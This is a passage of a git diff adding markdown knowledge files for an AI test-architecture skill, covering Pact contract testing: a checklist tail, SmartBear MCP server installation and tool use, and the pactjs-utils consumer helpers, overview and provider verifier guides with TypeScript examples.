+- [ ] CI can-i-deploy has `PACT_BREAKING_CHANGE != 'true'` condition
+- [ ] CI has NO upload-artifact step
+- [ ] `.github/actions/detect-breaking-change/action.yml` exists
+- [ ] Consumer tests use `.pacttest.ts` extension
+- [ ] Consumer tests use PactV4 `addInteraction()` builder
+- [ ] `uponReceiving()` names follow `"a request to <action> <resource> [<condition>]"` pattern and are unique within the consumer-provider pair
+- [ ] Interaction callbacks use `setJsonContent` for query/header/body and `setJsonBody` for body-only responses
+- [ ] Request bodies use exact values (no `like()` wrapper) — Postel's Law: be strict in what you send
+- [ ] `like()`, `eachLike()`, `string()`, `integer()` matchers are only used in `willRespondWith` (responses), not in `withRequest` (requests) — matchers check type/shape, not exact values
+- [ ] Consumer tests call REAL consumer code (actual API client functions), NOT raw `fetch()`
+- [ ] Consumer code exposes URL injection mechanism (`setApiUrl()`, env var, or constructor param)
+- [ ] Local consumer-helpers shim present if pactjs-utils not installed
+- [ ] `.gitignore` includes `/pacts/` and `pact-logs/`
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — Library decision tree and installation
+- `pactjs-utils-consumer-helpers.md` — `createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` API details
+- `pactjs-utils-provider-verifier.md` — Provider-side verification patterns
+- `pactjs-utils-request-filter.md` — Auth injection for provider verification
+- `contract-testing.md` — Foundational CDC patterns and resilience coverage
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pact-mcp.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pact-mcp.md
new file mode 100644
index 0000000..3badcaf
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pact-mcp.md
@@ -0,0 +1,204 @@
+# Pact MCP Server (SmartBear)
+
+## Principle
+
+Use the SmartBear MCP server to enable AI agent interaction with PactFlow/Pact Broker during contract testing workflows. The MCP server provides tools for generating pact tests, fetching provider states, reviewing test quality, and checking deployment safety — all accessible through the Model Context Protocol.
+
+## Rationale
+
+### Why MCP for contract testing?
+
+- **Live broker queries**: AI agents can fetch existing provider states, verification results, and deployment status directly from PactFlow
+- **Test generation assistance**: MCP tools generate consumer and provider tests based on existing contracts, OpenAPI specs, or templates
+- **Automated review**: MCP-powered review checks tests against best practices without manual inspection
+- **Deployment safety**: `can-i-deploy` checks integrated into agent workflows for real-time compatibility verification
+
+### When TEA uses it
+
+- **test-design workflow**: Fetch existing provider states to understand current contract landscape
+- **automate workflow**: Generate pact tests using broker knowledge and existing contracts
+- **test-review workflow**: Review pact tests against best practices with automated feedback
+- **ci workflow**: Reference can-i-deploy and matrix tools for pipeline guidance
+
+## Available Tools
+
+| #   | Tool                      | Description                                                             | When Used             |
+| --- | ------------------------- | ----------------------------------------------------------------------- | --------------------- |
+| 1   | **Generate Pact Tests**   | Create consumer/provider tests from code, OpenAPI, or templates         | automate workflow     |
+| 2   | **Fetch Provider States** | List all provider states from broker for a given consumer-provider pair | test-design, automate |
+| 3   | **Review Pact Tests**     | Analyze tests against contract testing best practices                   | test-review           |
+| 4   | **Can I Deploy**          | Check deployment safety via broker verification matrix                  | ci workflow           |
+| 5   | **Matrix**                | Query consumer-provider verification matrix                             | ci, test-design       |
+| 6   | **PactFlow AI Status**    | Check AI credits and permissions (PactFlow Cloud only)                  | diagnostics           |
+| 7   | **Metrics - All**         | Workspace-wide contract testing metrics                                 | reporting             |
+| 8   | **Metrics - Team**        | Team-level adoption statistics (PactFlow Cloud only)                    | reporting             |
+
+## Installation
+
+### Config file locations
+
+| Tool              | Global Config File                    | Format                 |
+| ----------------- | ------------------------------------- | ---------------------- |
+| Claude Code       | `~/.claude.json`                      | JSON (`mcpServers`)    |
+| Codex             | `~/.codex/config.toml`                | TOML (`[mcp_servers]`) |
+| Gemini CLI        | `~/.gemini/settings.json`             | JSON (`mcpServers`)    |
+| Cursor            | `~/.cursor/mcp.json`                  | JSON (`mcpServers`)    |
+| Windsurf          | `~/.codeium/windsurf/mcp_config.json` | JSON (`mcpServers`)    |
+| VS Code (Copilot) | `.vscode/mcp.json`                    | JSON (`servers`)       |
+
+> **Claude Code tip**: Prefer the `claude mcp add` CLI over manual JSON editing. Use `-s user` for global (all projects) or omit for per-project (default).
+
+### CLI shortcuts (Claude Code and Codex)
+
+```bash
+# Claude Code — use add-json for servers with env vars (-s user = global)
+claude mcp add-json -s user smartbear \
+  '{"type":"stdio","command":"npx","args":["-y","@smartbear/mcp@latest"],"env":{"PACT_BROKER_BASE_URL":"https://{tenant}.pactflow.io","PACT_BROKER_TOKEN":"<your-token>"}}'
+
+# Codex
+codex mcp add smartbear -- npx -y @smartbear/mcp@latest
+```
+
+### JSON config (Gemini CLI, Cursor, Windsurf)
+
+Add a `"smartbear"` entry to the `mcpServers` object in the config file for your tool:
+
+```json
+{
+  "mcpServers": {
+    "smartbear": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@smartbear/mcp@latest"],
+      "env": {
+        "PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
+        "PACT_BROKER_TOKEN": "<your-api-token>"
+      }
+    }
+  }
+}
+```
+
+### Codex TOML config
+
+Codex uses TOML instead of JSON. Add to `~/.codex/config.toml`:
+
+```toml
+[mcp_servers.smartbear]
+command = "npx"
+args = ["-y", "@smartbear/mcp@latest"]
+
+[mcp_servers.smartbear.env]
+PACT_BROKER_BASE_URL = "https://{tenant}.pactflow.io"
+PACT_BROKER_TOKEN = "<your-api-token>"
+```
+
+Note the key is `mcp_servers` (underscored), not `mcpServers`.
+
+### VS Code (GitHub Copilot)
+
+Add to `.vscode/mcp.json` (note: uses `servers` key, not `mcpServers`):
+
+```json
+{
+  "servers": {
+    "smartbear": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@smartbear/mcp@latest"],
+      "env": {
+        "PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
+        "PACT_BROKER_TOKEN": "${input:pactToken}"
+      }
+    }
+  }
+}
+```
+
+> **Note**: Set either `PACT_BROKER_TOKEN` (for PactFlow) or `PACT_BROKER_USERNAME`+`PACT_BROKER_PASSWORD` (for self-hosted). Leave unused vars empty.
+
+## Required Environment Variables
+
+| Variable               | Required                     | Description                             |
+| ---------------------- | ---------------------------- | --------------------------------------- |
+| `PACT_BROKER_BASE_URL` | Yes (for Pact features)      | PactFlow or self-hosted Pact Broker URL |
+| `PACT_BROKER_TOKEN`    | For PactFlow / token auth    | API token for broker authentication     |
+| `PACT_BROKER_USERNAME` | For basic auth (self-hosted) | Username for basic authentication       |
+| `PACT_BROKER_PASSWORD` | For basic auth (self-hosted) | Password for basic authentication       |
+
+**Authentication**: Use token auth (`PACT_BROKER_TOKEN`) for PactFlow. Use basic auth (`PACT_BROKER_USERNAME` + `PACT_BROKER_PASSWORD`) for self-hosted Pact Broker instances. Only one auth method is needed.
+
+**Requirements**: Node.js 20+
+
+## Pattern Examples
+
+### Example 1: Fetching Provider States During Test Design
+
+When designing contract tests, use MCP to query existing provider states:
+
+```
+# Agent queries SmartBear MCP during test-design workflow:
+# → Fetch Provider States for consumer="movie-web", provider="SampleMoviesAPI"
+# ← Returns: ["movie with id 1 exists", "no movies exist", "user is authenticated"]
+#
+# Agent uses this to generate comprehensive consumer tests covering all states
+```
+
+### Example 2: Reviewing Pact Tests
+
+During test-review workflow, use MCP to evaluate test quality:
+
+```
+# Agent submits test file to SmartBear MCP Review tool:
+# → Review Pact Tests with test file content
+# ← Returns: feedback on matcher usage, state coverage, interaction naming
+#
+# Agent incorporates feedback into review report
+```
+
+### Example 3: Can I Deploy Check in CI
+
+During CI workflow design, reference the can-i-deploy tool:
+
+```
+# Agent generates CI pipeline with can-i-deploy gate:
+# → Can I Deploy: pacticipant="SampleMoviesAPI", version="${GITHUB_SHA}", to="production"
+# ← Returns: { ok: true/false, reason: "..." }
+#
+# Agent designs pipeline to block deployment if can-i-deploy fails
+```
+
+## Key Points
+
+- **Per-project install recommended**: Different projects may target different PactFlow tenants — match TEA's per-project config philosophy
+- **Env vars are project-specific**: `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` vary by project/team
+- **Node.js 20+ required**: SmartBear MCP server requires Node.js 20 or higher
+- **PactFlow Cloud features**: Some tools (AI Status, Team Metrics) are only available with PactFlow Cloud, not self-hosted Pact Broker
+- **Complements pactjs-utils**: MCP provides broker interaction during design/review; pactjs-utils provides runtime utilities for test code
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — runtime utilities that pact tests import
+- `pactjs-utils-provider-verifier.md` — verifier options that reference broker config
+- `contract-testing.md` — foundational contract testing patterns
+
+## Anti-Patterns
+
+### Wrong: Using MCP for runtime test execution
+
+```
+# ❌ Don't use MCP to run pact tests — use npm scripts and CI pipelines
+# MCP is for agent-assisted design, generation, and review
+```
+
+### Right: Use MCP for design-time assistance
+
+```
+# ✅ Use MCP during planning and review:
+# - Fetch provider states to inform test design
+# - Generate test scaffolds from existing contracts
+# - Review tests for best practice compliance
+# - Check can-i-deploy during CI pipeline design
+```
+
+_Source: SmartBear MCP documentation, PactFlow developer docs_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-consumer-helpers.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-consumer-helpers.md
new file mode 100644
index 0000000..b0a1f19
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-consumer-helpers.md
@@ -0,0 +1,270 @@
+# Pact.js Utils Consumer Helpers
+
+## Principle
+
+Use `createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` from `@seontechnologies/pactjs-utils` to build type-safe provider state tuples and reusable PactV4 JSON callbacks for consumer contract tests. These helpers eliminate manual `JsonMap` casting and repetitive inline builder lambdas.
+
+## Rationale
+
+### Problems with raw consumer helper handling
+
+- **JsonMap requirement**: Pact's `.given(stateName, params)` requires `params` to be `JsonMap` — a flat object where every value must be `string | number | boolean | null`
+- **Type gymnastics**: Complex params (Date objects, nested objects, null values) require manual casting that TypeScript can't verify
+- **Inconsistent serialization**: Different developers serialize the same data differently (e.g., dates as ISO strings vs timestamps)
+- **Verbose `.given()` calls**: Repeating state name and params inline makes consumer tests harder to read
+- **Repeated interaction callbacks**: PactV4 interactions duplicate inline `(builder) => { ... }` blocks for body/query/header setup
+
+### Solutions
+
+- **`createProviderState`**: Returns a `[string, JsonMap]` tuple that spreads directly into `.given()` — one function handles name and params
+- **`toJsonMap`**: Explicit coercion rules documented and tested — Date→ISO string, null→"null" string, nested objects→JSON string
+- **`setJsonContent`**: Curried callback helper for request/response builders — set `query`, `headers`, and/or `body` from one reusable function
+- **`setJsonBody`**: Body-only shorthand for `setJsonContent({ body })` — ideal for concise `.willRespondWith(...)` bodies
+
+## Pattern Examples
+
+### Example 1: Basic Provider State Creation
+
+```typescript
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+const provider = new PactV3({
+  consumer: 'movie-web',
+  provider: 'SampleMoviesAPI',
+  dir: './pacts',
+});
+
+describe('Movie API Contract', () => {
+  it('should return movie by id', async () => {
+    // createProviderState returns [stateName, JsonMap] tuple
+    const providerState = createProviderState({
+      name: 'movie with id 1 exists',
+      params: { id: 1, name: 'Inception', year: 2010 },
+    });
+
+    await provider
+      .given(...providerState) // Spread tuple into .given(name, params)
+      .uponReceiving('a request for movie 1')
+      .withRequest({ method: 'GET', path: '/movies/1' })
+      .willRespondWith({
+        status: 200,
+        body: MatchersV3.like({ id: 1, name: 'Inception', year: 2010 }),
+      })
+      .executeTest(async (mockServer) => {
+        const res = await fetch(`${mockServer.url}/movies/1`);
+        const movie = await res.json();
+        expect(movie.name).toBe('Inception');
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- `createProviderState` accepts `{ name: string, params: Record<string, unknown> }`
+- Both `name` and `params` are required (pass `params: {}` for states without parameters)
+- Returns `[string, JsonMap]` — spread with `...` into `.given()`
+- `params` values are automatically converted to JsonMap-compatible types
+- Works identically with HTTP (`PactV3`) and message (`MessageConsumerPact`) pacts
+
+### Example 2: Complex Parameters with toJsonMap
+
+```typescript
+import { toJsonMap } from '@seontechnologies/pactjs-utils';
+
+// toJsonMap conversion rules:
+// - string, number, boolean → passed through
+// - null → "null" (string)
+// - undefined → "null" (string, same as null)
+// - Date → ISO string (e.g., "2025-01-15T10:00:00.000Z")
+// - nested object → JSON string
+// - array → comma-separated string via String() (e.g., [1,2,3] → "1,2,3")
+
+const params = toJsonMap({
+  id: 42,
+  name: 'John Doe',
+  active: true,
+  score: null,
+  createdAt: new Date('2025-01-15T10:00:00Z'),
+  metadata: { role: 'admin', permissions: ['read', 'write'] },
+});
+
+// Result:
+// {
+//   id: 42,
+//   name: "John Doe",
+//   active: true,
+//   score: "null",
+//   createdAt: "2025-01-15T10:00:00.000Z",
+//   metadata: '{"role":"admin","permissions":["read","write"]}'
+// }
+```
+
+**Key Points**:
+
+- `toJsonMap` is called internally by `createProviderState` — you rarely need it directly
+- Use it when you need explicit control over parameter conversion outside of provider states
+- Conversion rules are deterministic: same input always produces same output
+
+### Example 3: Provider State Without Parameters
+
+```typescript
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+// State without params — second tuple element is empty object
+const emptyState = createProviderState({ name: 'no movies exist', params: {} });
+// Returns: ['no movies exist', {}]
+
+await provider
+  .given(...emptyState)
+  .uponReceiving('a request when no movies exist')
+  .withRequest({ method: 'GET', path: '/movies' })
+  .willRespondWith({ status: 200, body: [] })
+  .executeTest(async (mockServer) => {
+    const res = await fetch(`${mockServer.url}/movies`);
+    const movies = await res.json();
+    expect(movies).toEqual([]);
+  });
+```
+
+### Example 4: Multiple Provider States
+
+```typescript
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+// Some interactions require multiple provider states
+// Call .given() multiple times with different states
+await provider
+  .given(...createProviderState({ name: 'user is authenticated', params: { userId: 1 } }))
+  .given(...createProviderState({ name: 'movie with id 5 exists', params: { id: 5 } }))
+  .uponReceiving('an authenticated request for movie 5')
+  .withRequest({
+    method: 'GET',
+    path: '/movies/5',
+    headers: { Authorization: MatchersV3.like('Bearer token') },
+  })
+  .willRespondWith({ status: 200, body: MatchersV3.like({ id: 5 }) })
+  .executeTest(async (mockServer) => {
+    // test implementation
+  });
+```
+
+### Example 5: When to Use setJsonBody vs setJsonContent
+
+```typescript
+import { MatchersV3 } from '@pact-foundation/pact';
+import { setJsonBody, setJsonContent } from '@seontechnologies/pactjs-utils';
+
+const { integer, string } = MatchersV3;
+
+await pact
+  .addInteraction()
+  .given('movie exists')
+  .uponReceiving('a request to get movie by name')
+  .withRequest(
+    'GET',
+    '/movies',
+    setJsonContent({
+      query: { name: 'Inception' },
+      headers: { Accept: 'application/json' },
+    }),
+  )
+  .willRespondWith(
+    200,
+    setJsonBody({
+      status: 200,
+      data: { id: integer(1), name: string('Inception') },
+    }),
+  );
+```
+
+**Key Points**:
+
+- Use `setJsonContent` when the interaction needs `query`, `headers`, and/or `body` in one callback (most request builders)
+- Use `setJsonBody` when you only need `jsonBody` and want the shorter `.willRespondWith(status, setJsonBody(...))` form
+- `setJsonBody` is equivalent to `setJsonContent({ body: ... })`
+
+## Key Points
+
+- **Spread pattern**: Always use `...createProviderState()` — the tuple spreads into `.given(stateName, params)`
+- **Type safety**: TypeScript enforces `{ name: string, params: Record<string, unknown> }` input (both fields required)
+- **Null handling**: `null` becomes `"null"` string in JsonMap (Pact requirement)
+- **Date handling**: Date objects become ISO 8601 strings
+- **No nested objects in JsonMap**: Nested objects are JSON-stringified — provider state handlers must parse them
+- **Array serialization is lossy**: Arrays are converted via `String()` (e.g., `[1,2,3]` → `"1,2,3"`) — prefer passing arrays as JSON-stringified objects for round-trip safety
+- **Message pacts**: Works identically with `MessageConsumerPact` — same `.given()` API
+- **Builder reuse**: `setJsonContent` works for both `.withRequest(...)` and `.willRespondWith(...)` callbacks (query is ignored on response builders)
+- **Body shorthand**: `setJsonBody` keeps body-only responses concise and readable
+- **Matchers check type, not value**: `string('My movie')` means "any string", `integer(1)` means "any integer". The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies.
+- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths).
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
+- `pactjs-utils-provider-verifier.md` — provider-side state handler implementation
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual JsonMap assembly
+
+```typescript
+// ❌ Manual casting — verbose, error-prone, no type safety
+provider.given('user exists', {
+  id: 1 as unknown as string,
+  createdAt: new Date().toISOString(),
+  metadata: JSON.stringify({ role: 'admin' }),
+} as JsonMap);
+```
+
+### Right: Use createProviderState
+
+```typescript
+// ✅ Automatic conversion with type safety
+provider.given(
+  ...createProviderState({
+    name: 'user exists',
+    params: { id: 1, createdAt: new Date(), metadata: { role: 'admin' } },
+  }),
+);
+```
+
+### Wrong: Inline state names without helper
+
+```typescript
+// ❌ Duplicated state names between consumer and provider — easy to mismatch
+provider.given('a user with id 1 exists', { id: '1' });
+// Later in provider: 'user with id 1 exists' — different string!
+```
+
+### Right: Share state constants
+
+```typescript
+// ✅ Define state names as constants shared between consumer and provider
+const STATES = {
+  USER_EXISTS: 'user with id exists',
+  NO_USERS: 'no users exist',
+} as const;
+
+provider.given(...createProviderState({ name: STATES.USER_EXISTS, params: { id: 1 } }));
+```
+
+### Wrong: Repeating inline builder lambdas everywhere
+
+```typescript
+// ❌ Repetitive callback boilerplate in every interaction
+.willRespondWith(200, (builder) => {
+  builder.jsonBody({ status: 200 });
+});
+```
+
+### Right: Use setJsonBody / setJsonContent
+
+```typescript
+// ✅ Reusable callbacks with less boilerplate
+.withRequest('GET', '/movies', setJsonContent({ query: { name: 'Inception' } }))
+.willRespondWith(200, setJsonBody({ status: 200 }));
+```
+
+_Source: @seontechnologies/pactjs-utils consumer-helpers module, pactjs-utils sample-app consumer tests_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-overview.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-overview.md
new file mode 100644
index 0000000..cb330ef
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-overview.md
@@ -0,0 +1,216 @@
+# Pact.js Utils Overview
+
+## Principle
+
+Use production-ready utilities from `@seontechnologies/pactjs-utils` to eliminate boilerplate in consumer-driven contract testing. The library wraps `@pact-foundation/pact` with type-safe helpers for provider state creation, PactV4 JSON interaction builders, verifier configuration, and request filter injection — working equally well for HTTP and message (async/Kafka) contracts.
+
+## Rationale
+
+### Problems with raw @pact-foundation/pact
+
+- **JsonMap casting**: Provider state parameters require `JsonMap` type — manually casting every value is error-prone and verbose
+- **Repeated builder lambdas**: PactV4 interactions often repeat inline callbacks with `builder.query(...)`, `builder.headers(...)`, and `builder.jsonBody(...)`
+- **Verifier configuration sprawl**: `VerifierOptions` requires 30+ lines of scattered configuration (broker URL, selectors, state handlers, request filters, version tags)
+- **Environment variable juggling**: Different env vars for local vs remote flows, breaking change coordination, payload URL matching
+- **Express middleware types**: Request filter requires Express types that aren't re-exported from Pact
+- **Bearer prefix bugs**: Easy to double-prefix tokens as `Bearer Bearer ...` in request filters
+- **CI version tagging**: Manual logic to extract branch/tag info from CI environment
+
+### Solutions from pactjs-utils
+
+- **`createProviderState`**: One-call tuple builder for `.given()` — handles all JsonMap conversion automatically
+- **`toJsonMap`**: Explicit type coercion (null→"null", Date→ISO string, nested objects flattened)
+- **`setJsonContent`**: Curried callback helper for PactV4 `.withRequest(...)` / `.willRespondWith(...)` builders (query/headers/body)
+- **`setJsonBody`**: Body-only shorthand alias of `setJsonContent({ body })`
+- **`buildVerifierOptions`**: Single function assembles complete VerifierOptions from minimal inputs — handles local/remote/BDCT flows
+- **`buildMessageVerifierOptions`**: Same as above but for message/Kafka provider verification
+- **`handlePactBrokerUrlAndSelectors`**: Resolves broker URL and consumer version selectors from env vars with breaking change awareness
+- **`getProviderVersionTags`**: CI-aware version tagging (extracts branch/tag from GitHub Actions, GitLab CI, etc.)
+- **`createRequestFilter`**: Pluggable token generator pattern — prevents double-Bearer bugs by contract
+- **`noOpRequestFilter`**: Pass-through for providers that don't require auth injection
+
+## Installation
+
+```bash
+npm install -D @seontechnologies/pactjs-utils
+
+# Peer dependency
+npm install -D @pact-foundation/pact
+```
+
+**Requirements**: `@pact-foundation/pact` >= 16.2.0, Node.js >= 18
+
+## Available Utilities
+
+| Category          | Function                          | Description                                          | Use Case                                                         |
+| ----------------- | --------------------------------- | ---------------------------------------------------- | ---------------------------------------------------------------- |
+| Consumer Helpers  | `createProviderState`             | Builds `[stateName, JsonMap]` tuple from typed input | Consumer tests: `.given(...createProviderState(input))`          |
+| Consumer Helpers  | `toJsonMap`                       | Converts any object to Pact-compatible `JsonMap`     | Explicit type coercion for provider state params                 |
+| Consumer Helpers  | `setJsonContent`                  | Curried request/response JSON callback helper        | PactV4 `.withRequest(...)` and `.willRespondWith(...)` builders  |
+| Consumer Helpers  | `setJsonBody`                     | Body-only alias of `setJsonContent`                  | Body-only `.willRespondWith(...)` responses                      |
+| Provider Verifier | `buildVerifierOptions`            | Assembles complete HTTP `VerifierOptions`            | Provider verification: `new Verifier(buildVerifierOptions(...))` |
+| Provider Verifier | `buildMessageVerifierOptions`     | Assembles message `VerifierOptions`                  | Kafka/async provider verification                                |
+| Provider Verifier | `handlePactBrokerUrlAndSelectors` | Resolves broker URL + selectors from env vars        | Env-aware broker configuration                                   |
+| Provider Verifier | `getProviderVersionTags`          | CI-aware version tag extraction                      | Provider version tagging in CI                                   |
+| Request Filter    | `createRequestFilter`             | Express middleware with pluggable token generator    | Auth injection for provider verification                         |
+| Request Filter    | `noOpRequestFilter`               | Pass-through filter (no-op)                          | Providers without auth requirements                              |
+
+## Decision Tree: Which Flow?
+
+```
+Is this a monorepo (consumer + provider in same repo)?
+├── YES → Local Flow
+│   - Consumer generates pact files to ./pacts/
+│   - Provider reads pact files from ./pacts/ (no broker needed)
+│   - Use buildVerifierOptions with pactUrls option
+│
+└── NO → Do you have a Pact Broker / PactFlow?
+    ├── YES → Remote (CDCT) Flow
+    │   - Consumer publishes pacts to broker
+    │   - Provider verifies from broker
+    │   - Use buildVerifierOptions with broker config
+    │   - Set PACT_BROKER_BASE_URL + PACT_BROKER_TOKEN
+    │
+    └── Do you have an OpenAPI spec?
+        ├── YES → BDCT Flow (PactFlow only)
+        │   - Provider publishes OpenAPI spec to PactFlow
+        │   - PactFlow cross-validates consumer pacts against spec
+        │   - No provider verification test needed
+        │
+        └── NO → Start with Local Flow, migrate to Remote later
+```
+
+## Design Philosophy
+
+1. **One-call setup**: Each utility does one thing completely — no multi-step assembly required
+2. **Environment-aware**: Utilities read env vars for CI/CD integration without manual wiring
+3. **Type-safe**: Full TypeScript types for all inputs and outputs, exported for consumer use
+4. **Fail-safe defaults**: Sensible defaults that work locally; env vars override for CI
+5. **Composable**: Utilities work independently — use only what you need
+
+## Pattern Examples
+
+### Example 1: Minimal Consumer Test
+
+```typescript
+import { PactV3 } from '@pact-foundation/pact';
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+const provider = new PactV3({
+  consumer: 'my-frontend',
+  provider: 'my-api',
+  dir: './pacts',
+});
+
+it('should get user by id', async () => {
+  await provider
+    .given(...createProviderState({ name: 'user exists', params: { id: 1 } }))
+    .uponReceiving('a request for user 1')
+    .withRequest({ method: 'GET', path: '/users/1' })
+    .willRespondWith({ status: 200, body: { id: 1, name: 'John' } })
+    .executeTest(async (mockServer) => {
+      const res = await fetch(`${mockServer.url}/users/1`);
+      expect(res.status).toBe(200);
+    });
+});
+```
+
+### Example 2: Minimal Provider Verification
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    'user exists': async (params) => {
+      await db.seed({ users: [{ id: params?.id }] });
+    },
+  },
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => 'test-token-123',
+  }),
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+## Key Points
+
+- **Import path**: Always use `@seontechnologies/pactjs-utils` (no subpath exports)
+- **Peer dependency**: `@pact-foundation/pact` must be installed separately
+- **Local flow**: No broker needed — set `pactUrls` in verifier options pointing to local pact files
+- **Remote flow**: Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` env vars
+- **Breaking changes**: Set `includeMainAndDeployed: false` when coordinating breaking changes (verifies only matchingBranch)
+- **Builder helpers**: Use `setJsonContent` when you need query/headers/body together; use `setJsonBody` for body-only callbacks
+- **Type exports**: Library exports `StateHandlers`, `RequestFilter`, `JsonMap`, `JsonContentInput`, `ConsumerVersionSelector` types
+
+## Related Fragments
+
+- `pactjs-utils-consumer-helpers.md` — detailed createProviderState, toJsonMap, setJsonContent, and setJsonBody usage
+- `pactjs-utils-provider-verifier.md` — detailed buildVerifierOptions and broker configuration
+- `pactjs-utils-request-filter.md` — detailed createRequestFilter and auth patterns
+- `contract-testing.md` — foundational contract testing patterns (raw Pact.js approach)
+- `test-levels-framework.md` — where contract tests fit in the testing pyramid
+
+## Anti-Patterns
+
+### Wrong: Manual VerifierOptions assembly when pactjs-utils is available
+
+```typescript
+// ❌ Don't assemble VerifierOptions manually
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+  publishVerificationResult: process.env.CI === 'true',
+  providerVersion: process.env.GIT_SHA || 'dev',
+  consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: (req, res, next) => {
+    /* ... */
+  },
+  // ... 20 more lines
+};
+```
+
+### Right: Use buildVerifierOptions
+
+```typescript
+// ✅ Single call handles all configuration
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({ tokenGenerator: () => 'token' }),
+});
+```
+
+### Wrong: Importing raw Pact types for JsonMap conversion
+
+```typescript
+// ❌ Manual JsonMap casting
+import type { JsonMap } from '@pact-foundation/pact';
+
+provider.given('user exists', { id: 1 as unknown as JsonMap['id'] });
+```
+
+### Right: Use createProviderState
+
+```typescript
+// ✅ Automatic type conversion
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+provider.given(...createProviderState({ name: 'user exists', params: { id: 1 } }));
+```
+
+_Source: @seontechnologies/pactjs-utils library, pactjs-utils README, pact-js-example-provider workflows_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-provider-verifier.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-provider-verifier.md
new file mode 100644
index 0000000..f29989e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-provider-verifier.md
@@ -0,0 +1,315 @@
+# Pact.js Utils Provider Verifier
+
+## Principle
+
+Use `buildVerifierOptions`, `buildMessageVerifierOptions`, `handlePactBrokerUrlAndSelectors`, and `getProviderVersionTags` from `@seontechnologies/pactjs-utils` to assemble complete provider verification configuration in a single call. These utilities handle local/remote flow detection, broker URL resolution, consumer version selector strategy, and CI-aware version tagging. The caller controls breaking change behavior via the required `includeMainAndDeployed` parameter.
+
+## Rationale
+
+### Problems with manual VerifierOptions
+
+- **30+ lines of scattered config**: Assembling `VerifierOptions` manually requires broker URL, token, selectors, state handlers, request filters, version info, publish flags — all in one object
+- **Environment variable logic**: Different env vars for local vs remote, CI vs local dev, breaking change vs normal flow
+- **Consumer version selector complexity**: Choosing between `mainBranch`, `deployedOrReleased`, `matchingBranch`, and `includeMainAndDeployed` requires understanding Pact Broker semantics
+- **Breaking change coordination**: When a provider intentionally breaks a contract, manual selector switching is error-prone
+- **Cross-execution protection**: `PACT_PAYLOAD_URL` webhook payloads need special handling to verify only the triggering pact
+
+### Solutions
+
+- **`buildVerifierOptions`**: Single function that reads env vars, selects the right flow, and returns complete `VerifierOptions`
+- **`buildMessageVerifierOptions`**: Same as above for message/Kafka provider verification
+- **`handlePactBrokerUrlAndSelectors`**: Pure function for broker URL + selector resolution (used internally, also exported for advanced use)
+- **`getProviderVersionTags`**: Extracts CI branch/tag info from environment for provider version tagging
+
+## Pattern Examples
+
+### Example 1: HTTP Provider Verification (Remote Flow)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+import type { StateHandlers } from '@seontechnologies/pactjs-utils';
+
+const stateHandlers: StateHandlers = {
+  'movie with id 1 exists': {
+    setup: async (params) => {
+      await db.seed({ movies: [{ id: params?.id ?? 1, name: 'Inception' }] });
+    },
+    teardown: async () => {
+      await db.clean('movies');
+    },
+  },
+  'no movies exist': async () => {
+    await db.clean('movies');
+  },
+};
+
+// buildVerifierOptions reads these env vars automatically:
